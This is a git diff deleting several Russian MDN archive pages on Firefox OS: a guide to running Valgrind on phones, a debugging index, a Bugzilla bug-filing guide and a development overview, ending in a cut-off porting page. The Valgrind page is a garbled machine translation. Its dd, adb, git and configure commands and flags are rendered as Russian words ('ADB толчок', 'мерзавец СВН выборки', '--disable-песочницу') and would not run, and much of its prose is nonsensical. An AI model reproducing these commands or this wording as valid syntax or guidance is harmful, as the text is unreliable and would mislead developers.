-<p>Чтобы запустить Valgrind против Firefox OS на телефоне, требуется телефон с выше чем нормальные спецификации. Valgrind требует значительных ресурсов, и, как правило, вызывают из-за ошибок памяти на телефонах с чем-то меньшим, чем 1 Гб оперативной памяти. На момент написания (2015-06-10), Valgrind, как известно, работать с Firefox OS работает на Flame телефонов с 1 Гб или RAM и Nexus 5 телефонов с 2 Гб оперативной памяти. Она также должна работать на Geeksphone Keons и аналогичные спецификации телефонов. Посмотрите на телефон и устройство передачи данных для более подробной информации о доступных телефонов.</p>
-
-<p>Проблема номер один бежит из памяти. Если ядро ​​вашего телефона поддерживает пространство подкачки, ваша ситуация улучшается. Вы можете сказать, поддерживает ли ваш телефон пространство подкачки с помощью поиска файла / Proc / свопы - если он присутствует, вам повезло. Если да, то подготовить файл подкачки на хосте, переместите его в телефон, и включить его:</p>
-
-<p>дд, если = / DEV / нуль = swapfile800M бс = 1024 Количество = 781250<br>
- mkswap swapfile800M<br>
- GZIP --fast swapfile800M<br>
- ADB толчок swapfile800M.gz / данные<br>
- ADB оболочка GZIP -d /data/swapfile800M.gz<br>
- ADB оболочки swapon / данные / swapfile800M</p>
-
-<p>ADB оболочки кота / Proc / свопы<br>
- # Должен производить такую ​​строку:<br>
- # / Данные / swapfile800M файл 781244 0 -2<br>
- Если ваш телефон не имеет своп, могут возникнуть Nuwa-процессы, созданные будучи ООМ убитыми, и, следовательно, неполной или запутанным функциональность. Попробуйте использовать телефон по меньшей мере, 2 Гб оперативной памяти в этом случае. Пламя, по крайней мере, делает поддержку своп. Вы должны быть осторожны, какой раздел файл подкачки размещен на. Если вы ненароком положил ее на раздел Btrfs, вы будете получать жалобы по поводу дыр в файлы подкачки при попытке запустить swapon.</p>
-
-<p>Запуск Valgrind на FxOS телефоны<br>
- Давайте посмотрим на процесс запуска Valgrind.</p>
-
-<p>составление</p>
-
-<p>Для создания Firefox OS с включенным Valgrind, добавьте следующую строку в файл в .userconfig.</p>
-
-<p>экспорт B2G_VALGRIND = 1<br>
- экспорт DISABLE_JEMALLOC = 1<br>
- Строительство отладки (B2G_DEBUG) также рекомендуется. Строительство без каких-либо оптимизаций (B2G_NOOPT) делает вещи работать почти unusably медленно, и не рекомендуется, за исключением тех случаев, когда считается, что оптимизация может быть запутывания ошибки.</p>
-
-<p>И добавьте следующие строки в конец Gonk-разностороннего / Default-геккона-конфигурации:</p>
-
-<p>ac_add_options --enable-оптимизируют = "- г -O2"<br>
- ac_add_options --enable-Valgrind<br>
- ac_add_options --disable-jemalloc<br>
- ac_add_options --disable-песочницу<br>
- Отключение песочницу, к сожалению, требуется, так как не делать это вызывает процессы, valgrind быть убитым механизмом песочнице.</p>
-
-<p>Бег</p>
-
-<p>Примечание: Запуск Valgrind на телефон Firefox OS будет сделано в контексте телефона, а не в операционной системе хоста. Это означает, что разработчики могут использовать любую платформу, которая ADB доступна и будет выполнять run-valgrind.sh скрипт для запуска Valgrind по телефону.<br>
- Чтобы запустить Firefox OS под Valgrind, используйте run-valgrind.sh скрипт из каталога B2G. Этот скрипт выполняет следующие действия:</p>
-
-<p>Перемонтирует файловую систему телефона в виде R / W.<br>
- Копии текущей отладки libxul.so с полными символов в телефон. Поскольку этот файл много сотен мегабайт, то этот шаг может занять около двух минут, чтобы закончить. Она должна быть переделана каждый раз, когда новая сборка производится. Чтобы запустить Valgrind без libxul этапе копирования, выполните следующую команду:<br>
- run-valgrind.sh NOCOPY<br>
- Перезагрузка телефона.<br>
- Убивает процесс b2g, который запускается при включении телефона.<br>
- Запускает свой собственный процесс b2g под Valgrind.<br>
- Все выходные Valgrind будут записаны на стандартный вывод терминала исполняющего run-valgrind.sh сценарий. Это может быть либо прочитать в терминале или по трубопроводу в файл.</p>
-
-<p>run-valgrind.sh начинает Valgrind с соответствующим набором параметров командной строки. Если вы хотите передать в дополнительные параметры, которые переопределяют набор параметров по умолчанию, задайте их с помощью переменной среды extra_args:</p>
-
-<p>Extra_args = "- v" run-valgrind.sh NOCOPY<br>
- Примечание: Так как run-valgrind.sh сценарий владеет ADB процесс, запущенный процесс b2g, убивая сценарий будет также убить B2G и Valgrind по телефону. Рекомендуется, чтобы телефон будет перезагружен после запуска VALGRIND сеанса, так как она может оставить вещи в странном состоянии.<br>
- Debug информация для системных библиотек</p>
-
-<p>Чтобы получить хорошее качество трассировки стека для системных библиотек, вам нужно поместить их по телефону:</p>
-
-<p>(CD выход / целевого / продукта / пламя &amp;&amp; ADB нажимные символы / SDCard / символы-для-Valgrind)<br>
- run-valgrind.sh будет автоматически вызывать Valgrind для чтения объектов отладки в / SDCARD / символов-для-Valgrind. Если вы хотите, чтобы убедиться, что Valgrind читает их, начинают run-valgrind.sh с extra_args = "- V".</p>
-
-<p>Запуск Valgrind на Firefox OS Desktop<br>
- Запуск Valgrind против Firefox OS Desktop работает точно так же, как работает это против настольного Firefox. Обратитесь к Debugging Mozilla с Valgrind страницы для получения дополнительной информации. Все соответствующие флаги сборки должны быть добавлены к mozconfig, и будут применяться все вопросы, специфичные для платформы на странице.</p>
-
-<p>Обратите внимание, что запуск Valgrind на рабочем столе в режиме ООП / процесс-за-вкладке потребует добавления следующий параметр, чтобы убедиться, что дочерние процессы также прослеживаются:</p>
-
-<p>--trace-дети = да<br>
- Поддержание и обновление Firefox OS Valgrind<br>
- В то время как патчи upstreamed, когда это применимо, Valgrind для Firefox OS поддерживается в раздвоенным хранилище, чтобы держать вещи в курсе, насколько это возможно в то же время имеем дело с расцентрировок OS сборки дерева и версии Firefox.</p>
-
-<p>Обновление VALGRIND Repos</p>
-
-<p>ПРЕДУПРЕЖДЕНИЕ: ОПЫТ GIT ТРЕБУЕТСЯ. Не пытайтесь обновить VALGRIND сделок РЕПО, если вы не знакомы с обработкой сложных операций Git. Любые обновления к GitHub репо будет отражать в git.mozilla.org, который затем будет запряженных разработчиков, использующих ГОЛОВУ РЭПО манифестов. В то время как поломка Valgrind не будет ломать строит на что-либо, что не включено Valgrind (например, автоматизация Buildbot), это будет очень раздражают разработчиков, которые пытаются использовать его.<br>
- Основные Firefox OS, valgrind и VEX операции РЕПО находятся на</p>
-
-<p>http://github.com/mozilla-b2g/valgrind<br>
- http://github.com/mozilla-b2g/vex<br>
- Главный филиал является нетронутым версия ствола SVN каждого из этих репозиториях, а ветвь Firefox OS содержит Firefox OS специфичные патчи перебазировались на верхней части туловища.</p>
-
-<p>Примечание: ВСЕГДА ОБНОВЛЕНИЕ ОБА REPOS ОДНОВРЕМЕННО. В то время как они являются два отдельных операций РЕПО, VEX обычно подмодуль Valgrind, и глава Valgrind обычно указывает на голову VEX.<br>
- Они копируются на git.mozilla.org домен для использования в B2G проявляется:</p>
-
-<p>http://git.mozilla.org/?p=b2g/valgrind.git;a=summary<br>
- http://git.mozilla.org/?p=b2g/vex.git;a=summary<br>
- Основные операции РЕПО сохраняются в синхронизации с VALGRIND СВН с ГИТ СВН. Для того, чтобы тянуть обновления к сделкам РЕПО, клонировать Valgrind и досадить сделок РЕПО с GitHub, а затем выполните следующую команду:<br>
- мерзавец СВН -s Init [URL репо подрывная]<br>
- Натяжение данные SVN будет занять несколько часов, но когда это будет сделано, ваше дерево должно быть синхронно с основным Valgrind SVN.<br>
- Чтобы вытащить дальнейшие обновления, следующий набор команд используется:<br>
- мерзавец мастер-выписка<br>
- мерзавец СВН выборки<br>
- мерзавец СВН перебазироваться<br>
- мерзавец толчок [GitHub-дистанционное имя] мастер<br>
- Git fxos Кассовые<br>
- мерзавец мастер перебазироваться<br>
- Существует хороший шанс, что будет конфликты патч во время этапа ветви Rebase Firefox OS. Если вы не можете работать вопрос вне, по электронной почте автор конфликтующих фиксации.<br>
- После перебазирования, запустить полную Firefox OS построить с флагом B2G_VALGRIND, чтобы убедиться, что она по-прежнему строит. Наиболее распространенные необходимые исправления перечислены в сценарии раздела ниже.<br>
- После того как вы перебазировались и испытанные сборку против дерева Firefox OS, вам придется заставить толкать ветку Firefox OS из-за изменения головы.<br>
- мерзавец кнопка -f [-дистанционного имя GitHub] fxos<br>
- Сборка, установка и запуск скриптов</p>
-
-<p>Есть несколько сценариев, которые являются либо частью ветви Valgrind Firefox OS или B2G репо, которые могут нуждаться в обновлении после извлечения репо.</p>
-
-<p>внешняя / Valgrind / android.mk</p>
-
-<p>Это сценарий Android система сборки. Чаще всего, это где изменения должны быть сделаны, из-файлы добавляются / удаляются из дерева Valgrind в. Использование ключей -j1 сборки, чтобы увидеть, какие цели не удается построить, и если он отсутствует файл или ссылки на несуществующий файл, обновить список файлов этого проекта.</p>
-
-<p>внешняя / Valgrind / valgrind.mk</p>
-
-<p>Этот документ содержит список пакетов, которые должны быть построены и добавлены к системе изображения FxOS, на который ссылается Gonk-разностороннего / b2g.mk. Это, как правило, не нуждается в обновления, как это редкий для Valgrind, чтобы добавить новые пакеты, но если они нужны, их здесь.</p>
-
-<p>run-valgrind.sh</p>
-
-<div class="warning">
-<p>Сценарий для запуска Valgrind по телефону. Если есть новые аргументы командной строки, которые необходимы для запуска Valgrind по телефону, их здесь. Это также, где мы копируем библиотеку с отладочной к телефону, поэтому любая корректировка / изменение этого процесса должно произойти здесь.</p>
-</div>
diff --git a/files/ru/archive/b2g_os/debugging/index.html b/files/ru/archive/b2g_os/debugging/index.html
deleted file mode 100644
index 058dbb5410..0000000000
--- a/files/ru/archive/b2g_os/debugging/index.html
+++ /dev/null
@@ -1,62 +0,0 @@
----
-title: Debugging on Firefox OS
-slug: Archive/B2G_OS/Debugging
-tags:
- - Debugging
- - Firefox OS
- - NeedsTranslation
- - QA
- - Testing
- - TopicStub
-translation_of: Archive/B2G_OS/Debugging
----
-<div class="summary">
-<p><span class="seoSummary">There are two main types of debugging you'll want to with Firefox OS: debugging apps, and debugging other aspects of the system.</span> This section of the site provides articles covering the different tools at your disposal to debug your Firefox OS code.</p>
-</div>
-
-<h2 id="Debugging_apps">Debugging apps</h2>
-
-<p>When debugging your web apps, the best tool at your disposal is Mozilla's powerful <a href="/en-US/docs/Tools/WebIDE">WebIDE</a>, which allows you to run your apps directly on a real device or simulator, update any changes instantly, and debug them directly on the device using Mozilla's excellent <a href="https://developer.mozilla.org/en-US/docs/Tools" title="en-US/docs/Tools">developer tools</a>. This should be your first choice, especially for app/Gaia debugging.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Tools/WebIDE">Using WebIDE</a></dt>
- <dd>The WebIDE a tool available in Firefox for Desktop, which provides a number of useful tools to help you test, deploy and debug HTML5 web apps on Firefox OS phones and the Firefox OS Simulator, directly from your browser.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a></dt>
- <dd>This article describes how B2G's multiprocess architecture affects what the phone does when we run out of memory, and how to understand and debug OOM crashes.</dd>
-</dl>
-
-<h2 id="Debugging_GaiaB2G">Debugging Gaia/B2G</h2>
-
-<p>If you want to debug code from the Gaia apps suite or B2G itself, the following tools will be of use to you.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_using_the_desktop_B2G_client">Debugging using the desktop B2G client</a></dt>
- <dd>You can use the dedicated B2G desktop application (and associated tools) to debug multiple aspects of B2G and Gaia.</dd>
- <dt><a href="/en-US/Firefox_OS/Debugging/Firefox_OS_crash_reporting">Firefox OS crash reporting</a></dt>
- <dd>This page details how to handle crash reporting on Firefox OS, including retrieving crash reports, and forcing crashes.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using gdb</a></dt>
- <dd>The popular gdb debugger can be used to debug Firefox OS and web apps running on a device, or on an emulator. This guide will show you how it's done.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_valgrind" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_B2G_using_gdb">Debugging B2G using Valgrind</a></dt>
- <dd>Valgrind gives developers access to information about memory allocations, threads, and other information important to performance. This guide shows how to run Valgrind either on desktop B2G or select phone hardware.</dd>
- <dt><a href="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones" title="/en-US/docs/Mozilla/Debugging/HTTP_logging#Firefox_OS_phones">Getting NSPR logs in B2G</a></dt>
- <dd>You can use NSPR logs to record HTTP and other networking.</dd>
- <dt><a href="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL" title="/en-US/docs/Mozilla/Debugging/Debugging_OpenGL">Debugging OpenGL</a></dt>
- <dd>How to debug OpenGL code on Firefox OS.</dd>
-</dl>
-
-<h2 id="General_setup_and_information"><strong>General setup and information</strong></h2>
-
-<p>The following articles provide information on individual aspects of setup for Firefox OS development. The chances are that you won't need these, especially if you are just debugging apps using the App Manager. But we have made them available here in case you do.</p>
-
-<dl>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Developer_settings">Developer settings for Firefox OS</a></dt>
- <dd>There are a number of settings options available for developers on Firefox OS. This guide explains what they do and how to take advantage of them.</dd>
- <dt><a href="/en-US/Firefox_OS/Debugging/Installing_ADB">Installing and using ADB</a></dt>
- <dd>Many aspects of Firefox OS development require installation of <code>adb</code>, the Android Debug Bridge. This article explains how to do that, and shares some common useful ADB commands.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/On-device_console_logging">On-device console logging</a></dt>
- <dd>How to log to console on a Firefox OS device, and how to access the resulting logs for review on your computer.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Connecting_a_Firefox_OS_device_to_the_desktop" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Debugging_Firefox_OS_apps_in_desktop_Firefox">Connecting a Firefox OS device to the desktop</a></dt>
- <dd>This short guide explains how to set up your Firefox OS device and your desktop so that the desktop can communicate with the device over USB.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up" title="/en-US/docs/Mozilla/Firefox_OS/Debugging/Setting_up">Setting up to debug Firefox OS code</a></dt>
- <dd>Before you can begin using most of the tools integrated into Firefox for debugging code running under Firefox OS, you need to do a little configuration work. This article explains what you need to do.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html b/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html
deleted file mode 100644
index f391a0ddcc..0000000000
--- a/files/ru/archive/b2g_os/developing_firefox_os/filing_bugs_against_firefox_os/index.html
+++ /dev/null
@@ -1,181 +0,0 @@
----
-title: Отправка найденных ошибок в Firefox OS
-slug: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS
-translation_of: Archive/B2G_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS
----
-<div class="summary">
-<p>Эта статья содержит руководство по оформлению ошибок в Firefox OS, включая Gaia и B2G.</p>
-</div>
-
-<h2 id="Bugzilla">Bugzilla</h2>
-
-<p>Как и в большинстве проектов Mozilla, мы используем <a href="/en-US/docs/Mozilla/Bugzilla">Bugzilla</a> для отслеживанию ошибок и проблем. Вы можете опубликовать ошибку в <a href="https://bugzilla.mozilla.org/">bugzilla</a>, при её обнаружении можете использовать <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox%20OS">отдельный продукт для Firefox OS</a>, который содержит компоненты, включающие <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a> и <a href="/en-US/docs/Mozilla/Gecko">Gecko</a>. Вы должны использовать его, чтобы подать ошибку в Firefox OS, Gaia, и др.</p>
-
-<h3 id="Отправка_ошибок">Отправка ошибок</h3>
-
-<p>Чтобы подать правильно обнаруженную ошибку используйте <a href="http://mzl.la/1KL4ktp">Bugzilla шаблон</a> и следуйте инструкциям ниже, чтобы заполнить шабло</p>
-
-<h3 id="Обязательные_и_не_обязательные_поля">Обязательные и не обязательные поля</h3>
-
-<p>При подаче новой ошибки эти поля являются обязательными для заполнения:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col"><strong>Field</strong></th>
- <th scope="col"><strong>Описание</strong></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Component</td>
- <td>Выберите категорию ошибки к которой он принадлежит. Если Вы не понимаете, в какую категорию его нужно занести, Вы можете выбрать "Общие".</td>
- </tr>
- <tr>
- <td>Summary</td>
- <td>Кратко опишите найденную ошибку.</td>
- </tr>
- <tr>
- <td>Description</td>
- <td>Опишите ситуацию ясно. Ошибка должна содержать действия по воспроизведению (STR), ожидаемые результаты и фактические результаты. Просим также указать частоту воспроизведения (то есть, сколько раз ошибка появляется, если вы повторите шаги снова и снова).</td>
- </tr>
- <tr>
- <td>Build Information</td>
- <td>Перейдите в раздел "Настройки"&gt; "Информация об устройстве"&gt; "Дополнительная информация" и выберите следующее: OS Version, Build Number, Platform Version, Build Identifier, Update Channel and Git Commit Info. (Если у вас есть компьютер Mac / Linux с установленными АБР и Git, вы можете запустить этот скрипт и вставить отчет в ошибку.)</td>
- </tr>
- <tr>
- <td>Screenshots</td>
- <td>Пожалуйста, приложите скриншот, который может помочь нам понять ошибку. (На Flame устройстве, нажмите и удерживайте кнопку питания и нижнюю качельку громкости в течение 2 секунд пока на телефоне не появится уведомление о скриншоте. Затем перенесите скриншот в компьютер через USB.)</td>
- </tr>
- <tr>
- <td>Video</td>
- <td>Если Вашу ошибку  трудно отобразить с помощью скриншота,то пожалуйста снимите её на видео. Вы можете загрузить видео как файл в качестве приложения к ошибке. Вы также можете загрузить видео на YouTube и вставить ссылку на него.</td>
- </tr>
- <tr>
- <td>ADB logs</td>
- <td>Если у Вас на компьютере установлен ADB, то подключите к компьютеру телефон и выполните команду | ADB LogCat |. Пожалуйста, вставте отчет этой команды в текстовый файл и приложите его к ошибке.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Следующие поля являются необязательными:</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col"><strong>Field</strong></th>
- <th scope="col"><strong>Описание</strong></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>Depends/Block</td>
- <td>Описать зависимость между ошибками.</td>
- </tr>
- <tr>
- <td>Keywords</td>
- <td>Ключевые слова для Bugzilla. Они будут использованы для отслеживания.</td>
- </tr>
- <tr>
- <td>Whiteboard</td>
- <td>Ключевые теги. Добавьте любой тег к ошибке для отслеживания. Вы не должны удалять другие теги без разрешения.</td>
- </tr>
- <tr>
- <td>See Also</td>
- <td>Иногда, две ошибки связаны между собой и вы можете указать это здесь.</td>
- </tr>
- <tr>
- <td>Flags</td>
- <td>Флаги для отслеживания статуса ошибки; наиболее часто используемый флаг в Firefox OS "blocking-b2g". Если ошибка устанавливается с флагом "blocking-b2g" это означает, что мы должны обращать больше внимания на эту ошибку, так как она угрожает заблокировать выпуск обновления.</td>
- </tr>
- <tr>
- <td>Security</td>
- <td>Если ошибка связана с безопасностью персональных данных, денежными средствами и другими подобными вопросами, вы должны указать это, и ошибка будет видна только специальной категории сотрудников.</td>
- </tr>
- </tbody>
-</table>
-
-<p>Чтобы найти более подробную информацию о bugzilla fields, Вы можете открыть <a href="https://bugzilla.mozilla.org/page.cgi?id=fields.html">Bugzilla Fields</a> страницу на Bugzilla.</p>
-
-<h3 id="Отправка_ошибок_локализации">Отправка ошибок локализации</h3>
-
-<p>Когда Вы видите не переведенную строку, это может означать две вещи:</p>
-
-<ul>
- <li>Переводчик не перевел эту строку. Не сообщайте об ошибке в этом случае!</li>
- <li>Переводчик не мог перевести строку из-за локальной (l12y) ошибки. Пожалуйста, сообщите об ошибке в этом случае.</li>
-</ul>
-
-<h4 id="Как_подать_локальные_(l12y)_ошибки">Как подать локальные (l12y) ошибки</h4>
-
-<ol>
- <li>In Firefox OS, go to Settings &gt; Device Information &gt; More Information and toggle on the Developer Menu.</li>
- <li>Go to Settings &gt; Developer and turn on Pseudo-localization.</li>
- <li>Go to Settings &gt; Language and scroll to the bottom to select accented English.</li>
- <li>Go back and look at the untranslated string. If it appears in normal English and not accented English, it is most probably because of a localizability (l12y) issue.</li>
- <li>In Bugzilla, file a bug under the product 'Firefox OS'. Select the component under which the untranslated string appears. Add 'l12y' in the Keyword field.</li>
- <li>Please fill out all the other mandatory fields.</li>
-</ol>
-
-<h3 id="Common_keywords">Common keywords</h3>
-
-<p>The following table provide information on common keywords you'll see used in Firefox OS bugs.</p>
-
-<p><br>
- You should always indicate the build/OS/platform(s) used to verify the bug in the bug comments, before you change the <em>Status</em> to <em>Verified</em>. If the bug is reported on all three platforms and you only have one platform to verify the fix on, go ahead and do so and note it in the bug, but do not mark the bug as <em>Verified</em>. All platforms must be checked before moving <em>Status</em> to <em>Verified</em>.<br>
- <br>
- Finally, if other bugs have been marked as a duplicate of the bug you're verifying, be sure to check and mention those as well. Often developers mark related — but not identical — bugs as duplicates, and these can be overlooked if not checked.</p>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col"><strong>Keyword</strong></th>
- <th scope="col"><strong>Description</strong></th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>meta</td>
- <td>Indicates that the bug is a status tracking bug. Mozilla uses this tag to tracking multiple bug or user story implementation statuses. Once marked like this, developers should not land patches on top of such bugs. Please be reminded that project managers and QA staff will use meta bugs for tracking.</td>
- </tr>
- <tr>
- <td>qablocker</td>
- <td>Use this keyword for bugs that are blocking testing (manual or automated testing of a feature) and need to be fixed by the next Beta or RC milestone.</td>
- </tr>
- <tr>
- <td>qawanted</td>
- <td>Use this keyword for bugs that need more info, require reproducing or testcasing, or are duplicates (but you can't find the original bug being duplicated). Required QA work progress is recorded in the whiteboard; you should remove this keyword when the required QA work has been completed.</td>
- </tr>
- <tr>
- <td>regression</td>
- <td>This keyword means that the problem was fixed, but then it came back (regressed) and the bug in question is a new bug, filed to track the regression. It can also refer to problems outside those identified in pre-check in and smoke tests, which were found in current builds and that were known to be working in previous builds. Tracking these bugs helps us to identify areas that are fragile, prone to breakage and are good candidates for adding to smoke and pre-check in tests.</td>
- </tr>
- <tr>
- <td>regressionwindow-wanted</td>
- <td>Indicates that the bug is a regression, and would strongly benefit from someone identifying the time period in which it happened, ideally to a specific check in.</td>
- </tr>
- <tr>
- <td>steps-wanted</td>
- <td>Highlights a bug that would greatly benefit from someone identifying the steps to reproduce it.</td>
- </tr>
- <tr>
- <td>verifyme</td>
- <td>Means that this bug is ok to verify with the latest FX OS build by someone other than the QA Contact indicated. The bug has specific machine configuration details indicated for verifying the fix. You should try to reproduce the failure, and, if you agree that the resolution of <em>Fixed</em> is correct, mark the <em>Status</em> as <em>Verified</em>.<br>
-  </td>
- </tr>
- <tr>
- <td>crash</td>
- <td>Add this keyword if you encounter a crash in FX OS.</td>
- </tr>
- </tbody>
-</table>
-
-<div class="note">
-<p><strong>Note</strong>: You can additionally refer to <a href="/en-US/docs/Mozilla/QA/Bug_writing_guidelines">Bug writing guidelines</a>. The Mozilla <a href="https://wiki.mozilla.org/B2G/QA">B2G QA Wiki</a> page also has some useful resources on handling Firefox OS bugs; the most useful pages are <a href="https://wiki.mozilla.org/B2G/QA/Bugzilla">Bugzilla Usage</a> and <a href="https://wiki.mozilla.org/Bugmasters/Projects/FirefoxOS">Incoming bug triage for Firefox OS</a>.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: For more information on handling bugs during Gaia development, read <a href="/en-US/Firefox_OS/Developing_Gaia/Submitting_a_Gaia_patch">Submitting a Gaia patch</a>.</p>
-</div>
-
-<p> </p>
diff --git a/files/ru/archive/b2g_os/developing_firefox_os/index.html b/files/ru/archive/b2g_os/developing_firefox_os/index.html
deleted file mode 100644
index 7ada1a218d..0000000000
--- a/files/ru/archive/b2g_os/developing_firefox_os/index.html
+++ /dev/null
@@ -1,50 +0,0 @@
----
-title: Разработка Firefox OS
-slug: Archive/B2G_OS/Developing_Firefox_OS
-tags:
- - Developing
- - Firefox OS
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/B2G_OS/Developing_Firefox_OS
----
-<div class="summary">
-<p><span class="seoSummary"><span id="result_box" lang="ru"><span class="hps">Этот раздел содержит</span> <span class="hps">полезную документацию</span>, охватывающую различные <span class="hps">способы</span>, в которых <span class="hps">Firefox OS</span> <span class="hps">(кодовое имя</span> <span class="hps">Boot2Gecko</span> <span class="hps">или</span> <span class="hps">B2G</span>) <span class="hps">могут быть изменены</span><span class="hps">/настроить</span> <span class="hps">в процессе сборки</span>, <span class="hps">и как вы можете</span> <span class="hps">помочь в разработке</span> низкоуровневых частей <span class="hps">платформы</span>, такие как <span class="hps">Gecko</span> <span class="hps">и</span> <span class="hps">Gonk.</span></span></span></p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: Если вы хотите помочь в разработке Gaia, пользовательского интерфейса Firefox OS, вам следует поситить страницу <a href="/en-US/Firefox_OS/Developing_Gaia">Разрабока Gaia</a>.</p>
-</div>
-
-<h2 id="General_contribution_notes">General contribution notes</h2>
-
-<p>Since Gecko is an integral part of the Firefox browser, contributing to Firefox OS-related parts of Gecko is a pretty similar process to Gecko in general; contributing to Gonk is also pretty similar. Basically, you need to get to know the community, learn how the codebase works, and find bugs to work on. A good place to start earning about the contribution process is <a href="/en-US/docs/Introduction">Contributing to the Mozilla codebase</a>.</p>
-
-<p>You should learn about Gecko — how it works and how it is structured. The <a href="/en-US/docs/Mozilla/Gecko">MDN Gecko homepage</a> has some useful notes on this, as does the <a href="https://wiki.mozilla.org/Gecko:Overview">Gecko:Overview</a> page on the Mozilla Wiki. For information on (Firefox OS-specific) APIs, see the <a href="https://wiki.mozilla.org/WebAPI">WebAPI</a> Mozilla Wiki page for an overview of the work, and the <a href="/en-US/docs/WebAPI">MDN WebAPI</a> page for an index of all documented APIs.</p>
-
-<p>Next, look at <a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a>, the kernel that Firefox OS runs on top of. Gonk is basically another porting target for Gecko, just like Mac OS X, Windows and Linux are in the case of Desktop Firefox versions. Gonk itself is really just a stripped down version of the Android Open Source Project — we tend not to change much of Gonk itself since most of the source code isn't under our control, and the device partners we work with to create Firefox OS devices usually provide device-specific code to interface between the device and Gecko/Gonk.</p>
-
-<p>There is still work to be done on APIs, however. Most Gonk-specific Gecko code either uses <code>#ifdef MOZ_WIDGET_GONK</code> to only enable it in Firefox OS, and/or are contained in <code>gonk</code> subdirectories, such as <code>gecko-dev/hal/gonk</code>. Try cloning the <a href="https://github.com/mozilla/gecko-dev">gecko-dev</a> repo locally and having a look around. Our <a href="/en-US/docs/Mozilla_Source_Code_Directory_Structure">Mozilla Source Code Directory Structure</a> article is also useful.</p>
-
-<p>Next, you should learn more about <a href="/en-US/Firefox_OS/Platform/Architecture">Firefox OS architecture</a>, how to <a href="/en-US/Firefox_OS/Building">Build Firefox OS</a> (start with the <a href="/en-US/Firefox_OS/Building_and_installing_Firefox_OS/Firefox_OS_build_process_summary">Firefox OS build process summary</a>), and how to <a href="/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Port Firefox OS</a> to other devices.</p>
-
-<p>Firefox OS is developed as a series of separate Modules: review the <a href="https://wiki.mozilla.org/Modules/FirefoxOS">Firefox OS Modules</a> page to get an idea of how the codebase is grouped, and learn who the main module owners are so you can get an idea of who to talk to if you need help.</p>
-
-<div class="note">
-<p><strong>Note</strong>: To find help, the best places to start are the <a href="https://lists.mozilla.org/listinfo/dev-b2g">dev-b2g mailing list</a>, and the #b2g chatroom on <a href="https://wiki.mozilla.org/IRC">Mozilla IRC</a>.</p>
-</div>
-
-<h2 id="Specific_Firefox_OS_development_topics">Specific Firefox OS development topics</h2>
-
-<dl>
- <dt><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Filing_bugs_against_Firefox_OS">Filing bugs against Firefox OS</a></dt>
- <dd>This article provides a guide to filing bugs against any aspect of Firefox OS.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/modifying_hosts_file" title="/en-US/docs/Mozilla/Firefox_OS/Tips_and_tricks/modifying_hosts_file">Modifying the hosts file</a></dt>
- <dd>A guide to what can be achieved by modifying the Firefox OS hosts file.</dd>
- <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a></dt>
- <dd>How to customize the build and execution of Firefox OS by changing the <code>.userconfig</code> file.</dd>
- <dt><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Customizing_the_b2g.sh_script">Customizing the b2g.sh script</a></dt>
- <dd>An explanation of what can be achieved by customizing the b2g.sh script, which runs the b2g application and controls many aspects of the system.</dd>
- <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Porting" title="/en-US/docs/Mozilla/Firefox_OS/Porting">Porting Firefox OS</a></dt>
- <dd>Information about how to port Firefox OS to new devices.</dd>
-</dl>
diff --git a/files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html b/files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html
deleted file mode 100644
index 7fb97b4e08..0000000000
--- a/files/ru/archive/b2g_os/developing_firefox_os/портирование/index.html
+++ /dev/null
@@ -1,183 +0,0 @@
----
-title: Портирование Firefox OS
-slug: Archive/B2G_OS/Developing_Firefox_OS/Портирование
